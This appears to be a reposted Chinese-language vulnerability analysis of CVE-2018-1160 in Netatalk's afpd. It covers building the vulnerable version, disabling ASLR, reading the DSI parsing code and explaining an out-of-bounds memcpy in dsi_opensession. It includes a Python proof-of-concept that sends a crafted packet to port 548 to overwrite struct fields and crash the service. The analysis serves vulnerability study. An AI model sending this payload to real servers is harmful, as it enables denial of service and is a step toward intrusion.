Netatalk CVE-2018–1160 越界訪問漏洞分析

編譯安裝

首先下載帶有漏洞的源代碼python

https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/

安裝一些依賴庫(可能不全,到時根據報錯安裝其餘的庫)ubuntu

sudo apt install libcrack2-dev
sudo apt install libgssapi-krb5-2
sudo apt install libgssapi3-heimdal
sudo apt install libgssapi-perl
sudo apt-get install libkrb5-dev
sudo apt-get install libtdb-dev
sudo apt-get install libevent-dev

而後編譯安裝api

$ ./configure         --with-init-style=debian-systemd         --without-libevent         --without-tdb         --with-cracklib         --enable-krbV-uam        --with-pam-confdir=/etc/pam.d         --with-dbus-daemon=/usr/bin/dbus-daemon         --with-dbus-sysconf-dir=/etc/dbus-1/system.d         --with-tracker-pkgconfig-version=1.0
$ make 
$ sudo make install

編譯安裝好後, 編輯一下配置文件數組

root@ubuntu:~# cat /usr/local/etc/afp.conf
[Global]
 mimic model = Xserve                #這個是指定讓機器在你Mac系統中顯示爲何的圖標
 log level = default:warn
 log file = /var/log/afpd.log
 hosts allow = 192.168.245.0/24           #容許訪問的主機地址,根據須要自行修改
 hostname = ubuntu             #主機名,隨你喜歡
 uam list = uams_dhx.so uams_dhx2.so #默認認證方式 用戶名密碼登陸 更多查看官方文檔

[Homes]
 basedir regex = /tmp               #用戶的Home目錄

[NAS-FILES]
path = /tmp             #數據目錄

而後嘗試啓動服務session

$ sudo systemctl enable avahi-daemon
$ sudo systemctl enable netatalk
$ sudo systemctl start avahi-daemon
$ sudo systemctl start netatalk

啓動後 afpd 會監聽在 548 端口,查看端口列表確認服務是否正常啓動dom

爲了調試的方便,關閉 alsrsocket

echo 0 > /proc/sys/kernel/randomize_va_space

代碼閱讀筆記

爲了便於理解漏洞和 poc 的構造,這裏介紹下一些重點的代碼邏輯。函數

程序使用多進程的方式處理客戶端的請求,每來一個客戶端就會 fork 一個子進程處理請求的數據。ui

利用客戶端請求數據初始化結構體

首先會調用 dsi_stream_receive 把客戶端的請求數據填充到 DSI 結構體中。spa

使用客戶端的數據填充結構體的代碼

/*!
 * Read DSI command and data
 *
 * @param  dsi   (rw) DSI handle
 *
 * @return    DSI function on success, 0 on failure
 */
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  if (dsi->flags & DSI_DISCONNECTED)
      return 0;

  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];

  if (dsi->header.dsi_command == 0)
      return 0;

  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);
  
  /* 確保不會溢出 dsi->commands */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }

  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;

  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

  return block[1];
}

代碼邏輯主要是填充 header 的一些字段,而後 拷貝 header 後面的數據到 dsi->commands

其中 header 的結構以下

#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

header中比較重要的字段有:

dsi_command 表示須要執行的動做

dsi_len 表示 header 後面數據的大小, 這個值會和 dsi->server_quantum 進行比較,取二者之間較小的值做爲 dsi->cmdlen 的值。

/* 確保不會溢出 dsi->commands */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

這樣作的目的是爲了確保後面拷貝數據到 dsi->commands 時不會溢出。

dsi->commands 默認大小爲 0x101000

pwndbg> p dsi->commands
$8 = (uint8_t *) 0x7ffff7ed4010 "\001\004"
pwndbg> vmmap 0x7ffff7ed4010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7ed4000     0x7ffff7fd5000 rw-p   101000 0

初始化代碼位置

/*!
 * Allocate DSI read buffer and read-ahead buffer
 */
static void dsi_init_buffer(DSI *dsi)
{
    if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }

dsi->server_quantum 默認

#define DSI_SERVQUANT_DEF   0x100000L   /* default server quantum (1 MB) */

根據 header 字段選擇處理邏輯

接下來會進入 dsi_getsession 函數。

這個函數的主要部分是根據 dsi->header.dsi_command 的值來判斷後面進行的操做。這個值是從客戶端發送的數據裏面取出的。

漏洞分析

漏洞位於 dsi_opensession

當進入 DSIOPT_ATTNQUANT 分支時 會調用 memcpy 拷貝到 dsi->attn_quantum ,查看 dis 結構體的定義能夠發現dsi->attn_quantum 是一個 4 字節的無符號整數 ,而 memcpysize 區域則是直接從 dsi->commands 裏面取出來的, 而 dsi->commands 是從客戶端發送的數據直接拷貝過來的。因此 dsi->commands[i] 咱們可控,最大的大小爲 0xff (dsi->commands 是一個 uint8_t 的數組)

poc

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket
import struct

ip = "192.168.245.168"
port = 548
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

# 設置 commands , 溢出 dsi->attn_quantum
commands = "\x01"  # DSIOPT_ATTNQUANT 選項的值
commands += "\x80"  # 數據長度
commands += "\xaa" * 0x80


header = "\x00"  # "request" flag , dsi_flags
header += "\x04"  # open session command , dsi_command
header += "\x00\x01"  # request id, dsi_requestID
header += "\x00\x00\x00\x00"  # dsi_data
header += struct.pack(">I", len(commands))  # dsi_len , 後面 commands 數據的長度
header += "\x00\x00\x00\x00"  # reserved

header += commands
sock.sendall(header)

print sock.recv(1024)

首先設置好 dsi 數據的頭部,而後設置 commands 。設置 commands[i] 長度爲 0x80 , 複製的數據爲 "\xaa" * 0x80

# 設置 payload , 溢出 dsi->attn_quantum
payload = "\x01"  # DSIOPT_ATTNQUANT 選項的值, 以便進入該分支
payload += "\x80"  # 數據長度
payload += "\xaa" * 0x80  # 數據

當進入

memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

就會複製 0x80\xaadsi->attn_quantum 處, 這樣會溢出覆蓋 dsi->attn_quantum 後面的一些字段。

發送 poc , 在調試器中看看在調用 memcpydsi 結構體內部的狀況

能夠看到從 dsi->attn_quantum 開始一直到 dsi->data 之間的字段都被覆蓋成了 \xaa 。因爲 dsi->commands 爲一個指針, 這裏被覆蓋成了不可訪問的值,在後續使用 dsi->commands 時會觸發 crash

總結

當程序須要從數據裏面取出表示數據長度的字段時必定要作好判斷防止出現問題。

參考

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172

相關文章
相關標籤/搜索